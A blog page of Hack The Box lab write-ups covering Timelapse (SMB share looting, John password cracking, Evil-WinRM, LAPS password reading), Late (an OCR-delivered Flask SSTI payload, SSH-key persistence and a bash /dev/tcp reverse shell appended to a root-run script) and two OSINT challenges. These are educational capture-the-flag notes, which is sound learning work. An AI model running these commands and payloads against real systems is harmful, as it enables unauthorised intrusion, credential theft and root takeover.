Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m58s
| smb2-time: 
|   date: 2023-03-17T15:08:45
|_  start_date: N/A
TRACEROUTE (using port 139/tcp)
HOP RTT      ADDRESS
1   13.36 ms 10.10.14.1
2   13.44 ms 10.129.243.210
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 241.23 seconds

SMB Shares

The Timelapse box has ports 139 and 445 open, this is probably a good place to start enumerating. Using the tool Crackmapexec, we can see what SMB shares are available on the host.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ crackmapexec smb 10.129.243.210 --shares -u 'haxez' -p ''
SMB         10.129.243.210  445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB         10.129.243.210  445    DC01             [+] timelapse.htb\haxez: 
SMB         10.129.243.210  445    DC01             [+] Enumerated shares
SMB         10.129.243.210  445    DC01             Share           Permissions     Remark
SMB         10.129.243.210  445    DC01             -----           -----------     ------
SMB         10.129.243.210  445    DC01             ADMIN$                          Remote Admin
SMB         10.129.243.210  445    DC01             C$                              Default share
SMB         10.129.243.210  445    DC01             IPC$            READ            Remote IPC
SMB         10.129.243.210  445    DC01             NETLOGON                        Logon server share 
SMB         10.129.243.210  445    DC01             Shares          READ            
SMB         10.129.243.210  445    DC01             SYSVOL                          Logon server share 

We can achieve the same thing with smbclient only without displaying what we have permission to access. This could be useful if you’re in an exam and one of your tools decides it’s not going to work.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ smbclient -L //10.129.243.210/
Password for [WORKGROUP\haxez]:
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	Shares          Disk      
	SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available

We can then connect to the share and poke around using smbclient. Once connected, we find two directories named Dev and HelpDesk. Within the Dev directory, there is an interesting file called winrm_backup.zip.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ smbclient \\\\10.129.243.210\\shares -U 'haxez'
Password for [WORKGROUP\haxez]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Oct 25 16:39:15 2021
  ..                                  D        0  Mon Oct 25 16:39:15 2021
  Dev                                 D        0  Mon Oct 25 20:40:06 2021
  HelpDesk                            D        0  Mon Oct 25 16:48:42 2021
		6367231 blocks of size 4096. 1242290 blocks available
smb: \> cd Dev
smb: \Dev\> dir
  .                                   D        0  Mon Oct 25 20:40:06 2021
  ..                                  D        0  Mon Oct 25 20:40:06 2021
  winrm_backup.zip                    A     2611  Mon Oct 25 16:46:42 2021
		6367231 blocks of size 4096. 1249905 blocks available
smb: \Dev\> cd ..\HelpDesk
smb: \HelpDesk\> dir
  .                                   D        0  Mon Oct 25 16:48:42 2021
  ..                                  D        0  Mon Oct 25 16:48:42 2021
  LAPS.x64.msi                        A  1118208  Mon Oct 25 15:57:50 2021
  LAPS_Datasheet.docx                 A   104422  Mon Oct 25 15:57:46 2021
  LAPS_OperationsGuide.docx           A   641378  Mon Oct 25 15:57:40 2021
  LAPS_TechnicalSpecification.docx      A    72683  Mon Oct 25 15:57:44 2021
		6367231 blocks of size 4096. 1248140 blocks available

Lets Get Cracking

The zip file that we downloaded is password protected. Fortunately, there is an awesome tool called zip2john which generates a hash of the zip file. This hash can then be fed to our friend John. The command below runs zip2john against the file and appends the output to a file called ziphash.txt.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ sudo /usr/bin/zip2john winrm_backup.zip >> ziphash.txt

Next, can then crack the password for the zip file using John and the rockyou.txt wordlist. As you can see below, the password appears to be ‘supremelegacy’

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ sudo john ziphash.txt --wordlist:/home/haxez/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2023-03-17 07:28) 3.703g/s 12864Kp/s 12864Kc/s 12864KC/s surfroxy154..supergay01
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Now, we can extract the zip file and see what juicy secrets hide inside. We can extract the contents of the zip file with the unzip command. Next, we will then get prompted for the password which we now know thanks to John.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ unzip winrm_backup.zip 
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: 
  inflating: legacyy_dev_auth.pfx    

Interestingly, the output appears to be a pfx file. This too appears to be password protected.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ ls
legacyy_dev_auth.pfx  smb.txt  winrm_backup.zip  ziphash.txt
┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
Enter Import Password:
Mac verify error: invalid password?

Cracking On

In order to use the private key and certificate from the PFX file, we will need to crack it first. Fortunately, there is another cool tool called pfx2john which creates a crackable hash from a PFX file.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ python3 /usr/share/john/pfx2john.py legacyy_dev_auth.pfx >> pfx.hash

Admittedly, I had trouble with this on Parrot and had to switch to Kali. For some reason, when generating the hash on Parrot, it wasn’t recognised when trying to crack it with John. I ran the same command on Kali, and then cracked the hash on Parrot.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ sudo john /media/sf_OneDrive/Hack\ The\ Box/Machines/Timelapse/legacyy_dev_auth.pfx.hash --wordlist:/home/haxez/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (pfx [PKCS12 PBE (.pfx, .p12) (SHA-1 to SHA-512) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy       (legacyy_dev_auth.pfx)
1g 0:00:00:37 DONE (2023-03-17 07:53) 0.02682g/s 86688p/s 86688c/s 86688C/s thuglife06..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed

As you can see from the output above, the password for the file is thuglegacy. Once we have used OpenSSL to spit out the private key and certificate files, we should be able to use it to connect to the box.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
Enter Import Password:
┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out key.cert
Enter Import Password:

Timelapse Foothold With Evil-WinRM

With the files above, we should now be able to login to the box via Evil-WinRM. We give ‘evil-winrm’ the ‘-c’ flag to specify the certificate and the ‘-k’ file to specify the private key.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ evil-winrm -S -i 10.129.243.210 -c key.cert -k key.pem 
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy

We can now of course grab the user flag from the desktop of the legacy user that we connected with.

*Evil-WinRM* PS C:\Users\legacyy\Desktop> dir
    Directory: C:\Users\legacyy\Desktop
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        3/17/2023   7:59 AM             34 user.txt
*Evil-WinRM* PS C:\Users\legacyy\Desktop> type user.txt
472▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓a7e

Timelapse Enumeration

To successfully hack anything, we need information. Information is a hacker’s most important resource. That’s why we cycle back through to the enumeration stage whenever we make progress. Did you get the user? time to enumerate! did you move laterally to another user? time to enumerate. Trying to hack without information is like trying to live without air.

*Evil-WinRM* PS C:\Users\legacyy\Desktop> upload /home/haxez/Timelapse/winPEAS.bat
Info: Uploading /home/haxez/Timelapse/winPEAS.bat to C:\Users\legacyy\Desktop\winPEAS.bat
Progress: 56% : |▓▓▓▓▒░░░░░|                                                             
Data: 47928 bytes of 47928 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\legacyy\Desktop> 
*Evil-WinRM* PS C:\Users\legacyy\Desktop> ./winPEAS.bat

Interestingly, it found the history file but didn’t find anything suspicious inside it. I’m not sure if this is a function of WinPEAS, I thought it was but ultimately running WinPEAS didn’t really give me much to go on.

 Directory of C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
03/04/2022  12:46 AM               434 ConsoleHost_history.txt
               1 File(s)            434 bytes
               0 Dir(s)   6,885,826,560 bytes free

However, if we manually go in and check the history file then we can see some sensitive information (a username and password) has been recorded. As you can see below, the user ran some commands and included their password of ‘E3R$Q62^12p7PLlC%KWaxuaV’, we can also see that their username is ‘svc_deploy’.

*Evil-WinRM* PS C:\Users\legacyy\Desktop> type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

Lateral Movement

Now that we have another user’s credentials, let’s log in as them via WinRm and see if they have access to anything that we can use to get Administrator on this machine.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ evil-winrm -S -i 10.129.243.210 -u 'svc_deploy'  -p 'E3R$Q62^12p7PLlC%KWaxuaV'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

I did run Bloodhound to enumerate the active directory but I don’t think it’s needed for this box. I didn’t find much on it and the shortest path to Domain Admin didn’t appear to be possible with our current privileges. Also, yes I ran it on Kali because my Parrot box is using a newer version of Neo4j which appears to break Bloodhound. Think I might have to stick with Kali from here on out and just not update anything.

Bloodhound

Fortunately, by checking what groups we’re in we can see that we’re part of the ‘LAPS_Readers’ group which should give us the ability to read the local administrator’s password.

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> net user svc_deploy
User name                    svc_deploy
Full Name                    svc_deploy
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/25/2021 12:12:37 PM
Password expires             Never
Password changeable          10/26/2021 12:12:37 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/25/2021 12:25:53 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *LAPS_Readers         *Domain Users
The command completed successfully.

If we run the following command we can get the administrator password.

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-ADComputer -Filter 'ObjectClass -eq "computer"' -Property *
AccountExpirationDate                :
accountExpires                       : 9223372036854775807
AccountLockoutTime                   :
AccountNotDelegated                  : False
AllowReversiblePasswordEncryption    : False
AuthenticationPolicy                 : {}
AuthenticationPolicySilo             : {}
BadLogonCount                        : 0
badPasswordTime                      : 0
badPwdCount                          : 0
CannotChangePassword                 : False
CanonicalName                        : timelapse.htb/Domain Controllers/DC01
--snip--
ms-Mcs-AdmPwd                        : AGF7R+z)1;x0S6Q$)OK853$6
--snip--

We can then log in to the box as the Administrator via Win-RM. Once there we can navigate to the TRX user’s desktop and grab the root flag and complete the box.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Timelapse]
└──╼ [★]$ evil-winrm -S -i 10.129.243.210 -u 'Administrator'  -p 'AGF7R+z)1;x0S6Q$)OK853$6'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\Users\
*Evil-WinRM* PS C:\Users> dir
    Directory: C:\Users
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       10/23/2021  11:27 AM                Administrator
d-----       10/25/2021   8:22 AM                legacyy
d-r---       10/23/2021  11:27 AM                Public
d-----       10/25/2021  12:23 PM                svc_deploy
d-----        2/23/2022   5:45 PM                TR
*Evil-WinRM* PS C:\Users> cd TRX
*Evil-WinRM* PS C:\Users\TRX> cd Desktop
*Evil-WinRM* PS C:\Users\TRX\Desktop> dir
    Directory: C:\Users\TRX\Desktop
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        3/17/2023   7:59 AM             34 root.txt
*Evil-WinRM* PS C:\Users\TRX\Desktop> type root.txt
fa7▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e62

Timelapse Review

This was a really fun box, I’m starting to work things out for myself but that isn’t to say I didn’t head over to the Wizards youtube channel from time to time. The biggest problem I faced with this box is that my tools were broken. PFX to John didn’t work properly, Bloodhound didn’t work properly. I think I’m going to switch back to Kali for the moment as it has all the tools installed and ready to go. Honestly, I can’t be bothered to keep falling down the google rabbit hole of trying to fix tools while doing boxes. This was a great box though, I didn’t know what LAPS was before doing this box and now I do.

Hack The Box Late Writeup

Hello world, welcome to Haxez. It’s time for another Hack The Box machine write up and this time we’re looking at Late. This machine has an interesting foothold which I’m looking forward to doing. I haven’t read up too much about it but let us give it a go.

Late Enumeration

As you can see from the Nmap results below, we have port 22 for SSH and port 80 for HTTP open. SSH is unlikely to be the foothold as we have port 80 looking at us. From the banners, we can see that it’s using Nginx and that the title of the application is Best online image tools.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Late]
└──╼ [★]$ sudo nmap -sC -sV -A -p- 10.129.227.134 -oA late
[sudo] password for haxez: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-16 07:54 GMT
Nmap scan report for 10.129.227.134
Host is up (0.013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 025e290ea3af4e729da4fe0dcb5d8307 (RSA)
|   256 41e1fe03a5c797c4d51677f3410ce9fb (ECDSA)
|_  256 28394698171e461a1ea1ab3b9a577048 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1   11.84 ms 10.10.14.1
2   13.02 ms 10.129.227.134

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.80 seconds

The Application

As you can see from the screenshot below, the application was basic and didn’t have much to interact with. However, there was a link on the page to the “late free online photo editor”.

Late Application

Clicking this link redirects you to ‘http://images.late.htb’ which doesn’t load because it isn’t in our host file. So, we need to add this to our host file so that the DNS resolves correctly. Then, we will be able to see the application.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/Late]
└──╼ [★]$ echo '10.129.227.134 images.late.htb' | sudo tee -a /etc/hosts
10.129.227.134 images.late.htb

The application now loads and appears to provide an image-converting tool. More specifically, it seems to be an OCR tool in that it converts images of text to text. OCR, or Optical Character Recognition, is a technology that enables the conversion of scanned images into digital text. OCR software works by analyzing the shapes and patterns of characters and converting them into machine-readable text. One additional note, the application proudly claims it is using Flask.

Late Foodhold

Since the application is using Flask, it is likely using templates to build the application. Wouldn’t it be extremely cool if we could submit an image of a Server Side Template Injection (SSTI). Then when the application converts the image to text, it executes the code and gives us remote code execution. Using notepad and a screenshot tool we can create images and upload them to test this proof of concept. The image below is the image I used.

I saved the file but Windows gave it a ‘.PNG’ extension and the application doesn’t like it. I used my terminal to move it to a new file with a ‘.png’ extension. As you can see below, the application processes it and produces a text file with the answer to the sum.

Late Application SSTI

Time to try something a bit more complicated, let’s see if we can return the values of the ID command. First, we create and export the image containing the payload which I stole from HackTricks. Unfortunately, it seems that a lot of fonts make double underscores look like one line. This could cause problems with the character recognition software.

{
self._TemplateReference__context.namespace.__init__.__globals__.os.popen("id").read()
}}

Imagine If This Worked

I have been doing this for what seems like an eternity, ok not quite. However, this really is a tedious process. It doesn’t teach me anything, it is just trial and error and I don’t really like this type of challenge. I tried using the script in the official walkthrough but that didn’t work. I have gone through multiple payloads as you can see below.

sum1 Late
sum2 Late
sum3
sum4 Late
sum5
sum6 Late
sum7
sum8 Late
sum9
sum10

The problem seems to be with it messing up a single character. For example, a lot of the time it would miss an underscore where the text made two look like one line. You can see from the one below that it is changing the tick to a single speech mark. This one is frustrating.

This results in me getting errors and more errors.

Late SSTI Error
Late SSTI Error 2

Time to head over to Youtube and see how the Wizard solved it.

Standing On The Shoulders Of Giants

I’d eventually had enough and snipped the payload from IppSec’s video. It looked exactly the same as mine. I even did it in Comic Sans but I still couldn’t get it to work. I will put them below and you can decide what the difference is. You can tell which one is from IppSec’s video because it still has the purple clip from Flame Shot.

I have to be honest, if the margin for error is so small that two almost identical images get processed differently then I have to say that this is a bit stupid. Rant over. It finally worked and I was able to get ID. However, since it would only process the one from the Youtube video, I have a feeling I’m going to struggle when it comes to getting a shell.

Late ID from Image.

Better Late Than Never

Before I continue, please take a look at the screenshot below. That is how many times I had to modify the payload before I was able to get it to work. It may not seem like a lot but when you’re tinkering with each one and getting errors it becomes incredibly frustrating. This wasn’t fun, the concept was fun but the execution was terrible. It should have had a larger margin for error. Even when my code was right, it didn’t work.

All The Payloads

I finally got a payload to work based on the same principle that the wizard used on his youtube video. I set up a python web server and created an index file. The index file contained a bash command which just sent a reverse shell back to my host. The picture payload when processed would use curl to get the file and execute it with bash. I think this is the exact image I used in the end, the font type was Bahnschrift Light. Whether or not you get your reverse shell is pure luck… and it really shouldn’t be.

Final Payload

When the image was processed by the server it sent a get request to my file on my webserver which you can see in the output below. It took a few attempts.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Late]
└──╼ [★]$ sudo python3 -m http.server 80
[sudo] password for haxez: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.126 - - [16/Mar/2023 19:35:44] "GET / HTTP/1.1" 200 -
10.10.14.126 - - [16/Mar/2023 19:35:44] code 404, message File not found
10.10.14.126 - - [16/Mar/2023 19:35:44] "GET /favicon.ico HTTP/1.1" 404 -
10.129.243.130 - - [16/Mar/2023 20:00:03] "GET / HTTP/1.1" 200 -
10.129.243.130 - - [16/Mar/2023 20:00:51] "GET / HTTP/1.1" 200 -
10.129.243.130 - - [16/Mar/2023 20:03:41] "GET / HTTP/1.1" 200 -
10.129.243.130 - - [16/Mar/2023 20:04:45] "GET / HTTP/1.1" 200 -

Then finally my shell came through and I was able to capture the user flag.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Late]
sudo nc -lvnp 9001

[email protected]:~/app$ export TERM=xterm
svc_a[email protected]:~/app$ stty rows 43 cols 190
[email protected]:~/app$ ls /home
svc_acc
[email protected]:~/app$ cat /home/svc_acc/user.txt
592▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓b3f

Late Privilege Escalation

As you can imagine, the first thing I did after getting my shell was to upgrade it. The next thing I did was throw an SSH key into the user’s authorized key file to make sure I could get back on the box. There was no way in hell I was going to go through the process of getting a foothold again. Absolutely ridiculous.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~]
└──╼ [★]$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/haxez/.ssh/id_rsa): /home/haxez/sshkey
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/haxez/sshkey
Your public key has been saved in /home/haxez/sshkey.pub
The key fingerprint is:
SHA256:AMh1NoU5ILMkOIyR8waY6+WmGLt90qrVzFDXqBwSsG4 [email protected]
The key's randomart image is:
+---[RSA 3072]----+
|O*=o+.++.        |
|X=o= +++         |
|.*o o +..        |
|o o= + .         |
|.E+ o   S        |
|o. B             |
|.o+.+            |
|o+. o            |
|ooo+             |
+----[SHA256]-----+

Popping the key into authorized keys.

[email protected]:~/.ssh$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnMhWDbZa0tLhfR9G5pcq1Y6Rb/aQ+TjCHr4rTkhAVYnC58j/rVLBlA3dzo6UvP4ollJWirCqLuifikKIhAfzTAA659f3D68+FNwPzjvv1jkb11CVioPvShoGKAoBSwmAr1q0KqnLhzfbfI8mMBU4ZGEO7jG1/LkwaMd7KAtJmo/DyUv5N/ISAq14cpnATihzLuVUNiupZ7iitmIxecI4rQjvIz6rCuUVAi6H5suBCeVd/v4BXJW9ZLTX7wa2jYvi5hr/AVVMpKhFBzBKKxK39/mrXVH6ieHD2tzblczVbKGvJuQZRi0onJ8AZfMiCOpI0UdMPCRebEDCDu0cAb03bXVnFAAaPImZx2p54D/Q2bCqMhfTBrNvUpsSgTtNLhBKRymbA6kS9dXD0VUnD5Q4Z73QUeKUyzqHWIAzFOjCwZEU09tc7+/efpWkpBT6iKm6WjuJ4whXlygjaFJxHB/htz0v25eetVDd3xoB/wUww6rnoWajB58fZ8SVgSxTjrAk= [email protected]' >> authorized_keys 

With access to the box via SSH it was time for enumeration. After performing some searches I discovered a file called ‘ssh-alert.sh’. The permissions of the file suggested we had full ownership of it but for some reason, I was unable to write to it. Well, it turns out that there are other permissions (that I need to read about) that meant I could only append to the file.

Anyway, it turns out that this script is executed whenever someone logs in or out of SSH. It’s also executed by root. So we append a reverse shell to the end of the script and then log out of SSH.

[email protected]:~$ ls -l /usr/local/sbin/ssh-alert.sh
-rwxr-xr-x 1 svc_acc svc_acc 433 Mar 16 20:21 /usr/local/sbin/ssh-alert.sh

[email protected]:~$ lsattr /usr/local/sbin/ssh-alert.sh
-----a--------e--- /usr/local/sbin/ssh-alert.sh

[email protected]:~$ echo "bash -i >& /dev/tcp/10.10.14.126/1337 0>&1" >> /usr/local/sbin/ssh-alert.sh

[email protected]:~$ tail /usr/local/sbin/ssh-alert.sh 
        Date:        `date`
        Server:      `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi

bash -i >& /dev/tcp/10.10.14.126/1337 0>&1
[email protected]:~$ 

We get a shell as root and are finally able to finish the box.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~]
└──╼ [★]$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.126] from (UNKNOWN) [10.129.243.130] 51220
bash: cannot set terminal process group (2864): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/# cat /root/root.txt
cat /root/root.txt
998▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓7ea

Late Review

The concept was awesome, but the execution was terrible. Initially, I had a lot of fun creating image payloads and thought that this was an amazing box for doing something different. 40 images later and the novelty had worn out and I wanted to quit. I didn’t learn anything from it that’s the problem. It was an exercise in persistence. As Einstein once said:

Insanity is doing the same thing over and over and expecting different results.

Albert Einstein

Is this what hacking is supposed to be? brute-forcing something repeatedly until it works? Perhaps I don’t have the patience for this after all. I know it’s not, I’m being cynical. The privilege escalation was good but by the time I got to do it, I was so fed up that I didn’t care.

Anyway, great concept.

Hack The Box Infiltration Writeup

Hello world, welcome to Haxez. Today I’m looking at the Infiltration OSINT challenge on Hack The Box. The challenge asks the following:

“Can you find something to help you break into the company ‘Evil Corp LLC’. Recon social media sites to see if you can find any useful information.”

Ok, the first thing I did was head straight to google and search for Evil Corp LL in quotation marks. This ensures that we only get exact matches in our results. This technique is known as Google Dorking, although this is a pretty basic search operator.

Hack The Box Infiltration 1

Links To The Answer

The first result appears to be a Linkedin page which actually has a flag on it. We are Infiltration masters with our first Google search. Unfortunately, it seems that someone is playing games as this flag does not work when submitted. I wasn’t sure what to make of this but we will come back to it later.

LinkedIn Flag

I started looking through the employees and found Brian Delany whose job title at Evil Corp LLC is a hacker. Interestingly, his profile had a base64 encoded string. I decided to decode it using CyberChef which produced the following:

“There are people out there that will lie, steal and cheat to hide their own imperfections and to...

This gave me an idea, normally Hack The Box flags have a phrase but the fake flag on the Evil Corp LLC profile didn’t. if we take the string to CyberChef and ask it to bake it for us, we get some words of encouragement. Ok, this isn’t our flag. Time to move on.

CyberChef

I poked around on Linked in for a while longer but didn’t find much. I went back to Google and the second result was an Instagram page.

Infiltration of Instagram

I currently work as a penetration tester. One thing I’ve picked up is that before performing a Red Team engagement, it’s a good idea to look at the employee’s social media profiles. If you can spot a badge then you might be able to create a replica which could help get by security. The laptop and badge on this profile immediately caught my attention (Thanks Rich).

Infiltration of Instagram

Unfortunately, you need to be registered to view the pictures properly. It’s 2023, who uses Instagram these days? It’s all about TikTok now, isn’t it? I’m kidding of course, I do have an Instagram account and visited her account on my phone. From there I was able to zoom in on the badge and find the flag.

CSI YEAAAH
Thanks for the flag.

Conclusion

These OSINT challenges are a lot of fun. I don’t see any active ones though so I think Hack The Box has moved away from them. It’s a shame honestly because it’s been a good break from smashing my face into box after box. So far, these challenges haven’t require too much effort other than poking around on the web. I will be doing more of them for sure.

Hack The Box Easy Phish Writeup

Hello world, welcome to Haxez. Today I’m going to be looking at the retired Easy Phish OSINT challenge from Hack The Box. The challenge description explains:

“Customers of secure-startup.com have been receiving some very convincing phishing emails, can you figure out why?”

Based on the information provided, it seems like this will have something to do with enumerating the DNS records on the domain.

Enumeration

In order to solve this challenge we need to understand how to look up the DNS records associated with a domain. Furthermore, we will need to know which records to query. Once we know that, we should be able to retrieve the flag from the DNS records of the domain. First, we can use NS lookup. Unfortunately, we only get the A record associated with the domain.

┌─[[email protected]]─[/mnt/hgfs/MOUNT/HTBCHAL/web_weather_app]
└──╼ $nslookup secure-startup.com
Server:                     192.168.80.2
Address:   192.168.80.2#53
Non-authoritative answer:
Name:      secure-startup.com
Address: 34.102.136.180

Since we know we’re looking for a flag we could try to brute force subdomains, perhaps the flag is a subdomain. However, a more likely approach would be to look at the TXT records as TXT records can contain text and are likely going to be the hiding place of our flag.

First, I start off by performing a nslookup where the query type is set to TXT. This appears to give us the flag, well part of it anyway. As you can see below we have a partial flag claiming that SPF is dead and is always second.

┌─[[email protected]]─[/mnt/hgfs/MOUNT/HTBCHAL/web_weather_app]
└──╼ $nslookup -q=txt secure-startup.com
Server:                     192.168.80.2
Address:   192.168.80.2#53
Non-authoritative answer:
secure-startup.com   text = "v=spf1 a mx ?all - HTB{RIP_SPF_Always_2nd"

Second to what? DMARC probably. SPF only checks the “envelope from” address, which can be easily circumvented by attackers who spoof the visible “from” address. DMARC, on the other hand, checks both the “envelope from” and visible “from” addresses to prevent unauthorized use of domain names. It also provides a mechanism for domain owners to receive reports on email authentication failures. DMARC is considered to be a more effective solution for email authentication than SPF alone.

Solving Hack The Box Easy Phish

So, we can now change our query to query the subdomain _dmarc for a TXT record. This value would usually contain information about the configuration of the mail server but in this case, it has the second half of the flag.

┌─[[email protected]]─[/mnt/hgfs/MOUNT/HTBCHAL/web_weather_app]
└──╼ $nslookup -q=TXT _dmarc.secure-startup.com
Server:                     192.168.80.2
Address:   192.168.80.2#53
Non-authoritative answer:
_dmarc.secure-startup.com       text = "v=DMARC1;p=none;_F1ddl3_2_DMARC}"

Put them together and pow, we have the flag.

Hack The Box OpenSource Writeup

Hello world and welcome to Haxez, I’m back on my daily hacking spree and this time I’m looking at the easy Hack The Box machine OpenSource. These writeups are not meant to be walkthroughs, they are to document my journey. I may get frustrated, and angry along the way but hopefully, I will root the box and learn something new.

OpenSource Enumeration

